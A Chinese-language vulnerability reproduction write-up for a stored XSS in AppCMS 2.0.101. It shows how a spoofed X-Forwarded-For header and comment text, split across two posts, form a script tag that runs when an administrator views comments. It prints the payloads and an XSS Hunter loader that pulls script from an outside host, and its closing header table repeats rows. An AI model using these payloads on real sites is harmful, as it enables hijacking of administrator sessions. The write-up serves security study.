环境
github下载的源码https://github.com/source-trace/appcms
版本是2.0.101,已经修复了。找不到符合版本了,只能修改下源码了
php
/**core/hlep.class.php
* 获取客户端IP地址
*/
public static function getip() {
$onlineip = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
安装报了些错误,是数据库的错误,不怎么影响复现就不管了
分析
找下注入点:
存储型XSS容易出现点:评论区
入库了,肯定是存储型

看下评论区输入数据可控点,发现这个内容框有过滤,把<>进行实体编码,因此无法进入标签开始状态。


前端显示:用户名,IP,时间,内容。用户名有过滤且长度切割,内容有过滤,时间没法控制,只有IP了,看下IP如何获取
也就是修改源码的地方,发现IP可以通过X_FORWARDED_FOR获取,这是可控的
但是数据库中IP字段有长度限制,最多20位
现在问题又转化为如何绕过20位长度限制来XSS
总结当下可用条件:
- comment 只能传字符串,<>会被过滤,但长度没有限制
- X_FORWARDED_FOR 可以传<>标签,但是长度又限制
再次看后台展示界面发现,数据展示时,按照传入的时间,由新到旧排列,且内容在IP前面。
至此条件齐全了,可以把标签放在IP里,payload放在内容里,且将中间多余内容注释掉即可
第二个包 comment2 IP2
第一个包 comment1 IP1
最终形成 IP2 comment1 IP1
标签开始/* */payload/* */标签结束
测试
测试alert(1)
第一个包
X_FORWARDED_FOR (IP1):*/</script>
comment (comment1):*/alert(1)/*


第二个包
X_FORWARDED_FOR (IP2):</script>/*
comment(comment2):随意,用不上


完成,等待管理员查看

成功弹出,看html也正如预想

使用XSS Hunter
php
var scriptElement = document.createElement('script');
scriptElement.src ='https://js.rip/rsxb1h7957';
document.body.appendChild(scriptElement);
就是用上面的内容替换alert(1)
在xsshunter上等待接收

注意!!! 使用时必须要挂代理,不然xss hunter网页不显示
补充
1. HTTP_CLIENT_IP
-
含义:某些代理服务器或负载均衡器会把客户端的真实IP放在这个HTTP头里。
-
是否可靠 :不可靠。这个头不是标准HTTP头,很多环境不会设置。
-
是否可控 :完全可控。攻击者可以轻易伪造这个头,比如:
httpClient-IP: 1.2.3.4
2. HTTP_X_FORWARDED_FOR
-
含义:最常见的代理转发头,标准格式是:
X-Forwarded-For: 真实IP, 代理1, 代理2...
第一个IP一般是用户真实IP。
-
是否可靠 :不可靠。因为它是可伪造的。
-
是否可控 :完全可控。比如:
httpX-Forwarded-For: 8.8.8.8
3. REMOTE_ADDR
(通过 getenv()
)
- 含义:这是TCP连接的对端IP,也就是直接连到服务器的IP。
- 是否可靠 :相对可靠(在没有反向代理的情况下)。
- 是否可控 :不可控(除非用户能控制TCP连接本身,比如直接伪造IP,但这需要网络层攻击,难度高)。
4. $_SERVER['REMOTE_ADDR']
- 含义:和上面一样,只是获取方式不同。
- 是否可靠/可控:同上。
总结:IP来源与可控性
来源 | 是否标准 | 是否可靠 | 是否可控(可伪造) |
---|---|---|---|
HTTP_CLIENT_IP | 否 | 否 | ✅ 完全可控 |
HTTP_X_FORWARDED_FOR | 是(事实标准) | 否 | ✅ 完全可控 |
---------------------- | |||
HTTP_CLIENT_IP | 否 | 否 | ✅ 完全可控 |
HTTP_X_FORWARDED_FOR | 是(事实标准) | 否 | ✅ 完全可控 |
REMOTE_ADDR | 是 | ✅ 相对可靠 | ❌ 不可控(除非底层伪造) |